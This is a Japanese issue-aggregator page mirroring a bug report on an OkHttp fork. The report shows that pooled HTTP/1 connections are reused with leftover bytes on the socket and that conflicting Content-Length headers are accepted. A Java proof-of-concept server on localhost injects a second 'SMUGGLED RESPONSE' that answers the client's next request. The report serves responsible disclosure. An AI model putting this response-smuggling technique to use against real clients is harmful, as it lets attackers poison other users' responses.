Hacktoberfest 2026:メンテナが10月に向けて印を付けた、オープンで初心者向けの issue。 Hacktoberfest の issue を見る

Pooled HTTP/1 connection reused with a response left on the socket

オープン
#9,726 コメント 12 件 リアクション 0 件 担当者 0 名 GitHub で見る

メンテナーはふだん 1 日以内に返信

まだ誰も着手していません。

評価

難易度
4/5
見積もり時間
3〜5日
初心者へのやさしさ
48/100
issue の種類
バグ
明瞭さ
明確に書かれている
活発さ
活発
技術スタック
kotlin
領域
networking

調査の方向性

Start with Http1ExchangeCodec.kt around FixedLengthSource.read and RealConnection.kt around isHealthy; the issue also points to -UtilJvm.kt for headersContentLength(). Read the HTTP/1 response-body and connection-pooling tests, then run the relevant tests. Done means trailing bytes cannot become the next response and conflicting Content-Length values are rejected.

索引モデルが issue の本文から書いたものです。

説明

bug

OkHttp returns an HTTP/1 connection to the pool as soon as the declared Content-Length has been consumed, without checking if there are still any remaining unread bytes on the socket. Those bytes can contain a complete second response, which is then returned as the response to the next request using that connection.

FixedLengthSource.read calls responseBodyComplete() as soon as bytesRemaining reaches zero:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/http1/Http1ExchangeCodec.kt#L450-L456

There doesn't seem to be any check for data left on the socket before the connection is pooled.RealConnection.isHealthy does have some check, but it only runs after the connection has been idle for some time:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/connection/RealConnection.kt#L321-L323

So back to back requests skip it the check.

OkHttp also accepts conflicting Content-Length headers, as headersContentLength() takes headers["Content-Length"] and parses it:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/-UtilJvm.kt#L243-L246

Since Headers.get returns the last value when there's multiple, two different lengths are resolved instead of rejected, depsite RFC 9112#6.3 saying it should be treated as an error (https://www.rfc-editor.org/rfc/rfc9112.html#section-6.3)

Demonstrating this in practise, we set up a server which server accepts one connection and sends both responses at once. Due to the bug, it never sends a response to the second request:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.concurrent.atomic.AtomicInteger;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

public class Poc38 {
  static final AtomicInteger connections = new AtomicInteger();

  public static void main(String[] args) throws Exception {
    boolean duplicate = args.length == 0 || args[0].equals("duplicate");

    String responseHeaders = duplicate
        ? "HTTP/1.1 200 OK\r\nContent-Length: 0\r\nContent-Length: 5\r\n\r\n"
        : "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\n";
    String wire = responseHeaders
        + "first"
        + "HTTP/1.1 200 OK\r\nContent-Length: 17\r\n\r\nSMUGGLED RESPONSE";

    ServerSocket server = new ServerSocket(0, 50, InetAddress.getByName("127.0.0.1"));
    new Thread(() -> {
      try {
        Socket s = server.accept();
        connections.incrementAndGet();
        drainRequest(s.getInputStream());
        s.getOutputStream().write(wire.getBytes(StandardCharsets.US_ASCII));
        s.getOutputStream().flush();
        Thread.sleep(60_000);
      } catch (Exception ignored) {
      }
    }).start();

    String base = "http://127.0.0.1:" + server.getLocalPort();
    OkHttpClient client = new OkHttpClient();

    System.out.println("mode: " + (duplicate
        ? "two Content-Length headers (0 and 5)"
        : "one Content-Length (5) plus trailing bytes"));
    try (Response r = client.newCall(new Request.Builder().url(base + "/one").build()).execute()) {
      System.out.println("GET /one -> " + r.code() + " body=" + r.body().string());
    }
    try (Response r = client.newCall(new Request.Builder().url(base + "/two").build()).execute()) {
      System.out.println("GET /two -> " + r.code() + " body=" + r.body().string());
    }
    System.out.println("TCP connections accepted by server: " + connections.get());
    System.exit(0);
  }

  static void drainRequest(InputStream in) throws IOException {
    BufferedReader r = new BufferedReader(new InputStreamReader(in, StandardCharsets.US_ASCII));
    String line;
    while ((line = r.readLine()) != null && !line.isEmpty()) {
    }
  }
}

This results in:

mode: two Content-Length headers (0 and 5)
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1

mode: one Content-Length (5) plus trailing bytes
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1

The second mode, which has just one normal Content-Length, shows that any bytes after the declared body length can poison the contention in the same way: since the GET /two is answered using the bytes the server sent for get /ONE, and the connection count shows that both requests used the same socket.

This relies on a shared OkHttpClient, which based on a quick google and stackoverflow threads, it seems to be a completely reasonable thing to do (e.g. https://stackoverflow.com/questions/48532860/is-it-thread-safe-to-make-calls-to-okhttpclient-in-parallel).

主要言語
Kotlin
スター
47.1k
フォーク
9.3k
平均マージ
18時間 18分
マージ済み PR(30日)
15

環境構築

このプロジェクトには開発コンテナ、Dockerfile、コントリビューションガイドがありません。まず README を読み、一般的な手順ははじめてのコントリビューションガイドを参照してください。

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

lysine-dev/okhttp のほかの issue

lysine-dev/okhttp の issue をすべて見る

似ている issue

Kotlin の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。